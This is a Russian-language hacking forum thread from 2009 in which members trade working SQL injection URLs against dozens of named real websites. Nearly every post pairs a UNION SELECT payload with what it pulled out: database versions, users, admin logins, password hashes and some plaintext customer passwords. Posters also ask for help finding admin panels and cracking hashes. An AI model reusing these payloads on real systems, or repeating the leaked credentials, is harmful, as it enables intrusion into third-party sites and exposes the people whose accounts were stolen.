SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. _evgeniy_

    _evgeniy_ Member

    Joined:
    7 Sep 2008
    Messages:
    25
    Likes Received:
    11
    Reputations:
    5
    Code:
    http://mirsnov.ru/dream.php?id=-196+union+select+concat_ws(0x3a,name,pass),user(),version(),4,database(),6+FROM+authors+limit+5,1--
    user: u90152@10.10.227.201
    version: 5.0.67-log
    database: u90152_mirsnov

    http://mirsnov.ru/admin/

    name: ornata
    pass: 492446ef7a314e3983a73efd5e9ea4a1 197174 (также к емейлу подходит orlovanatalie@nm.ru)
     
  2. hackmen

    hackmen Banned

    Joined:
    22 Oct 2007
    Messages:
    110
    Likes Received:
    46
    Reputations:
    1
    http://www.uab.edu/lister/faq/index.php?askReferenceID=1&ID=-104+union+select+1,version(),3,4,5,6,7--
    4.0.18-log

    http://www.omnigraphics.com/category_view.php?ID=-3+union+select+1,version(),3,4,5--
    4.1.22

    http://www.medicalprogresstoday.com/spotlight/spotlight_indarchive.php?id=1147+union+select+1,version(),3,4,5,6,7--

    http://www.omnigraphics.com/product_view.php?ID=-244++union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--

    +
    http://www.rfidupdate.com/articles/index.php?id=-1447+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15--
     
    #7422 hackmen, 13 Jan 2009
    Last edited: 14 Jan 2009
    1 person likes this.
  3. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    572
    Likes Received:
    86
    Reputations:
    11
    http://stopstyle.ru/index.php?act=sb&r=1&m=4&sm=-1+union+select 1,2,version()--
    4.1.22-log
     
    #7423 svesve, 14 Jan 2009
    Last edited by a moderator: 14 Jan 2009
  4. vakula

    vakula New Member

    Joined:
    20 Jan 2008
    Messages:
    41
    Likes Received:
    4
    Reputations:
    0
    Code:
    http://www.scorpx.com/?item_id=-99999999%20UNION%20SELECT%201,concat_ws(%200x3a3a,version(),user(),database()),3,4,5%20%20--
    version::5.0.67-community
    user:: izhevskp_scorpx@localhost
    database::izhevskp_scorpx
     
  5. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    "Каталог программиста"

    Code:
    http://articles.org.ru/cn/?c=-16+union+select+1,2,unhex(hex(version())),4,5,6,7,8,9,0,11--
     
  6. vakula

    vakula New Member

    Joined:
    20 Jan 2008
    Messages:
    41
    Likes Received:
    4
    Reputations:
    0
    Донецкий профессиональный футбольный клуб «Титан»

    Code:
    http://www.titan.dn.ua/base.php?chapter=textChapter&appellation=players&id=-2%20UNION%20SELECT%201,concat_ws(%200x3a3a,version(),user(),database()),3,4
    version::5.0.27
    user::titandnua@localhost
    database::titandnua

    Code:
    http://uastar.com.ua/?target=site_details&id=-429%20UNION%20SELECT%201,2,3,version(),user(),6,database(),8,9,10,11,12,13,14,15,16,17,18%20%20--
    version::5.0.41-log
    user::uastar-kiev-ua@localhost
    database::u14215

    Code:
    http://uastar.com.ua/?target=site_details&id=-429%20UNION%20SELECT%201,2,3,password,5,6,login,8,9,10,11,12,13,14,15,16,17,18%20FROM%20admins%20limit%200,1%20--
    aдин:: Sany
    пасс:: h4$8j.

    админку не нашол, потому как не умею её искать )) кто найдёт и пояснит как, буду очень признателен.
     
    #7426 vakula, 14 Jan 2009
    Last edited: 14 Jan 2009
  7. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    Code:
    http://dromnyc.com/home/index.php/?option=com_gigcal&task=details&gigcal_gigs_id='+and+1=2/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,concat(username,char(58),password),0,11,12+from+jos_users/*
    PR = 5

    muhtarim:7d784f7f6be34258ba9070dc7188dd87:dG0D2d7IjKj1oJrL
     
  8. vakula

    vakula New Member

    Joined:
    20 Jan 2008
    Messages:
    41
    Likes Received:
    4
    Reputations:
    0
    Наталья Солнцева- королева мистического детектива
    Code:
    http://www.solntseva.com/news_detail.php?id=-95%20UNION%20SELECT%201,2,concat_ws(%200x3a3a,version(),user(),database()),4
    version::5.0.67-community
    user::solntsev_dbu@localhost
    database::solntsev_db

    Code:
    http://www.solntseva.com/news_detail.php?id=-95%20UNION%20SELECT%201,username,user_password,4%20FROM%20phpdd_users%20limit%201,1%20--
    админ::Татьяна_Н
    пасс::5378190815408f70d85e421bc5eea6bd
    кто нибудь, дайте сайт или прогу которые могут подбирать реально хеш!!! Буду очень благодарен.
     
  9. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    Code:
    http://otzuv.ru/view.htm?m_id=-1/**/union/**/select/**/1,version(),user(),4,5,database(),7,8,9,10,11,12,13,14,15,16--
    Есть базы от phpbb, vbulletin, на сайте стоит ipb. Короче, полный ахтунг.
    Code:
    http://otzuv.ru/view.htm?m_id=-1/**/union/**/select/**/1,username,user_password,4,5,6,7,8,9,10,11,12,13,14,15,16/**/from/**/phpbb_users/**/limit/**/1,1--
     
    1 person likes this.
  10. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    530
    Likes Received:
    494
    Reputations:
    99
    http://www.tapsns.com/news.php?newsid=12+union+select+concat_ws(0x3a3a,version(),user(),database()),2,3+--

    5.0.67-community-nt::dream@localhost::dreamaccount
    ===================

    http://www.ifsociety.com/viola/news.php?newsid=9999+union+select+1,2,3,4,5,concat_ws(0x3a3a,version(),user(),database())+--

    5.0.45::ifsociety@10.1.0.13::ifsociety
    ===================

    http://www.simbin.se/news.php?newsid=-120+union+select+1,concat_ws(0x3a3a,version(),user(),database()),3,4,5+--

    5.0.41-COMMUNITY-NT-LOG::SIMBINS_SIMBINSE@LOCALHOST::SIMBINS_SIMBINSE
    ===================

    http://www.giacusa.com/news.php?newsid=-83+union+select+1,concat_ws(0x3a3a,version(),user(),database()),3,4,5,6+--

    5.0.67-COMMUNITY::GIACUSA2_1@LOCALHOST::GIACUSA2_
    ===================

    http://www.polarware.com/news.php?newsid=1+union+select+1,concat_ws(0x3a3a,version(),user(),database()),3,4+--


    4.1.22-standard::polar_website@localhost::polar_website
    ===================

    http://www.somo.org/news.php?newsID=-406+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a3a,version(),user(),database()),12+--

    5.0.51a-community-log::somoorg_sql@ns1.pennblog.com::somoorg_SOMO
    ===================

    http://www.kingscollege.es/news.php?idnew=-31+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a3a,version(),user(),database()),12,13,14--

    5.0.24-max-log::root@localhost::kingscollege_v2
    ===================

    http://www.kcmurcia.es/news.php?idnew=-15+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a3a,version(),user(),database()),12,13,14+--

    5.0.24-max-log::root@localhost::kcmurcia
    ===================

    http://www.strumelab.com/news.php?idnew=5+union+select+1,2,3,concat_ws(0x3a3a,version(),user(),database()),5,6,7,8,9,10,11,12,13+--

    5.0.68-log::Sql163784@62.149.141.74::Sql163784_1
    ===================

    http://www.premiumwanadoo.com/mfbeta/Public/News.php?IDnew=-28+union+select+1,2,concat_ws(0x3a3a,version(),user(),database()),4,5+--

    5.0.45-community-log::75f0df9a0a565091@10.103.0.12::4C8BA43K1
    ===================

    http://www.likom-invest.ru/news.php?idnews=-773+union+select+1,2,concat_ws(0x3a3a,version(),user(),database()),4,5+--

    5.0.67-log::u27657@10.10.153.184::u27657
    ===================

    http://www.balivillagency.com/news.php?idnews=-10+union+select+1,2,concat_ws(0x3a3a,version(),user(),database()),4,5+--

    5.0.67-community-log::balivill_dwi@localhost::balivill_balivillagency
    ===================

    На сегодня вроде все =)
     
    1 person likes this.
  11. _evgeniy_

    _evgeniy_ Member

    Joined:
    7 Sep 2008
    Messages:
    25
    Likes Received:
    11
    Reputations:
    5
    Code:
    http://abzru.com/news.php?id=-2006042502+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,10,11
    5.0.67-community
    abzrucom_abzru@localhost
    abzrucom_abzru

    Code:
    http://www.cvvm.ru/modules/sections/index.php?op=listarticles&secid=1+union+select+version(),2+order+by+1&show=10%27
    u19043@10.10.227.201
    u19043
    5.0.67-log

    login: admin
    pass: 9d1519a40153e1773b246cab2011784a


    Code:
    http://www.apto-m.ru/index.php?categoryid=1&action=show&id=-12%20union%20select%20concat_ws(0x3a,user(),version(),database())--
    
    http://www.apto-m.ru/index.php?categoryid=1&action=show&id=-12%20union%20select%20concat_ws(0x3a,username,password)%20from%20apto_m_users--
    
    u45423@10.10.227.201
    5.0.67-log
    u45423

    Code:
    http://idealcup.ru/news.php?id=-21+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5
    u8358@10.10.10.205
    5.0.67-log
    u8358

    Code:
    http://casting.teatr-obraz.ru/smember.php?cid=6-1&id=-50+union+select+1,concat_ws(user(),version(),database()),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7
    u82908@10.10.227.201
    5.0.67-log
    u82908_casting
     
  12. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Пипец бомбил бомбил через принт всё нашел все вывел а тут тебе такое.
    Зашел в Фак а там дефейс эээх...

    Всё равно выложу.

    http://www.checkim.com/faq/print_article.php?id=-63+union+select+1,2,concat_ws(0x3a3a,version(),user(),database()),4,5,6,7,8,9,10,11,12--

    4.1.22-standard-log
    root@localhost
    FAQ

    http://www.checkim.com/faq/print_article.php?id=-63+union+select+1,2,concat_ws(0x3a3a,user,password),4,5,6,7,8,9,10,11,12+from+mysql.user--

    root::5577617b7e6129aa
    хэш MySQL:5577617b7e6129aa:yahoo1
     
    #7432 spherics, 15 Jan 2009
    Last edited by a moderator: 15 Jan 2009
  13. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Опа Япона Извращена ТГП

    http://www.japansexiest.com/gallery.php?ID=-2+union+select+1,2,3,4,5,6,concat_ws(0x3a3a,version(),user(),database()),8,9,10--

    4.1.22-standard-log
    japansex_japanse@localhost
    japansex_tgp2


    Магазин пакетиков всяких в общем для фасовок итд...
    По базе заказов триста есть так что слабенько....

    http://www.ampaconline.com/releaseview.php?id=-19+union+select+1,2,concat_ws(0x3a3a,version(),user(),database()),4,5,6--

    Database Version: 5.0.45
    Database name: ampac
    User name: ampac@localhost
     
  14. Assembler

    Assembler Elder - Старейшина

    Joined:
    1 Sep 2007
    Messages:
    173
    Likes Received:
    102
    Reputations:
    23
    Code:
    http://www.recalls.gov.au/view_recall_detail.php?Recall_ID_Auto=-13052%20union%20select%201,2,3,4,5,6,group_concat(column_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154%20from%20information_schema.columns%20where%20table_name%20=%200x61687073%20--
    Уфф =))
     
  15. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,588
    Likes Received:
    405
    Reputations:
    196
    PR6, Тиц 2100, но копать надо...


     
    #7435 попугай, 15 Jan 2009
    Last edited: 15 Jan 2009
  16. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    530
    Likes Received:
    494
    Reputations:
    99
    http://www.ecocentr-rti.ru/product_view.php?id=-49+union+select+1,2,3,4,5,6,7,8+--
    http://www.supratech.es/product_view.php?id=-81+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16+--
    http://www.omnigraphics.com/product_view.php?ID=-899+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+--
    http://www.yourmatchlessgifts.com/product_view.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,2,13,14,15,16,17,18,19,20,21,22--
    http://www.bandito.com/product_view.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+--
    http://www.rexheathcote.com/product_view.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+--
    https://www.tribecamedspa.com/product_view.php?ID=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+--
    http://www.10001.com.cn/english/company/product_view.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--
    http://www.inca-tvlifts.com/inca/print/product_view.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12+--
    http://www.silencer.cc/product_view.php?id=-1+union+select+1,2,3,4,5,6,7+--
    http://www.penridge.com/product_view.php?id=-1+union+select+1,2,3,4,5,6,7,8,9+--
    http://www.tonguestud.com/Catalog/product_view.php?id=-1+union+select+1,2,123213,4,5,6,7,8,9,10,11,12,13,14,15,16+--
    http://www.eyelaworld.com/product_view.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+--
    http://www.chailanherbalcare.com/product_view.php?id=-9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+--
    http://www.pcgroothandel.nl/product_view.php?id=-19+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33+--


    сегодняшняя партия =)
    как благодарить все знают ^^
     
    3 people like this.
  17. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    460
    Likes Received:
    161
    Reputations:
    3
    сайт пола маккартни )))
    версия там 5.0.67-community-log

    ))) крутите дальше сами)))
    токо ничего ненатворите там)
     
    2 people like this.
  18. hackmen

    hackmen Banned

    Joined:
    22 Oct 2007
    Messages:
    110
    Likes Received:
    46
    Reputations:
    1
    http://www.bdnews24.com/details.php?cid=1&id=-66787+union+select+concat_ws(0x3a,username,password),2,3,4+from+adminuser--

    Если кто найдет админку- киньте линк в личку плиз.
    +
    PR3
    http://www.planetgarth.com/news/article.php?cid=-01015+union+select+1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15,16,17--
    5.0.67
    +
    PR4
    http://www.basicjokes.com/dtitles.php?cid=-286+union+select%201,2,3,version(),5,6,7,8,9,10,11,12,13,14,15--
    5.0.45
     
    #7438 hackmen, 15 Jan 2009
    Last edited: 16 Jan 2009
  19. _evgeniy_

    _evgeniy_ Member

    Joined:
    7 Sep 2008
    Messages:
    25
    Likes Received:
    11
    Reputations:
    5
    Code:
    http://vr-group.ru/details.php?id=-20+union+select+1,concat_ws(0x3a3a,database(),user(),version()),3,4
    
    u65911
    u65911@10.10.153.183
    5.0.67-log

    Code:
    http://medpractika.ru/books/new/?id=-188+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15--
    
    u16474@10.10.227.201
    5.0.67-log
    u16474

    Code:
    http://jobreg.ru/kadr_ags.php?reg_ag=-52+union+select+concat_ws(0x3a,user(),version(),database())--
    
    u14403@10.10.227.201
    5.0.67-log
    u14403_22

    Code:
    http://1mp.ru/news/?nid=-75+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5
    
    u10773@10.10.227.201
    5.0.67-log
    u10773_2
    Code:
    http://velomot.com/mag/index.php?productID=-9959+union+select+concat_ws(0x3a,user(),version(),database())
    
    u34452@10.10.227.201
    5.0.67-log
    u34452

    Code:
    http://velomot.com/mag/index.php?productID=-9959+union+select+group_concat(concat_ws(0x3a,Login,cust_password))+FROM+SS_customers
    
    http://velomot.com/mag/index.php

    anton:ecuwnpor,
    Olga:ujhzybygtc,
    VanWilder:00000,
    Kein:21011922,
    pavlkatya:8691,
    alex-2609:935160,
     
    #7439 _evgeniy_, 16 Jan 2009
    Last edited: 17 Jan 2009
    1 person likes this.
  20. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    530
    Likes Received:
    494
    Reputations:
    99
    http://www.tsesnabank.kz/about.php?id=-1+union+select+1,2,3,4,5,6,7,8,9+--
    http://www.vpartners.com/evolve/templates/about.php?id=-1+union+select+1,2,3,4+--
    http://www.meacschools.org/about.php?ID=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+--
    http://www.starcomms.com/about.php?id=-1+union+select+1,2,3,4+--
    ========================
    http://www.goindiaholidays.com/about.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+--
    10C1BB8F9BFFF5FFAF8F87BC0D38C66B711F9622
    4.1.21-standard:goindiaholidays:surat@localhost
    =========================
    http://www.abbotts.co.za/about.php?id=-1+union+select+1,2,3,4,5,6,7,8+--
    http://www.whole-isticsolutions.com/about.php?ID=-1+union+select+1,2,3,4+--
    http://www.mui.or.id/mui_in/about.php?id=-1+union+select+1,2,3,4,5,6,7,8+--
    http://www.beebeedevelopments.co.uk/about.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11+--
    http://www.starcomms.com/about.php?id=-1+union+select+1,2,3,4+--
    http://www.avt-systems.co.uk/about.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11+--
    ===============
    http://www.bostonhigashi.org/about.php?id=-1+union+select+1,2,3+--
    4.1.22-log:bhs:sql@bostonhigashi.org@207.155.248.7
    1638f92d7c501505
    ===============

    благодарности как выписывать знаете =)
     
    #7440 wildshaman, 16 Jan 2009
    Last edited by a moderator: 16 Jan 2009
Loading...
Thread Status:
Not open for further replies.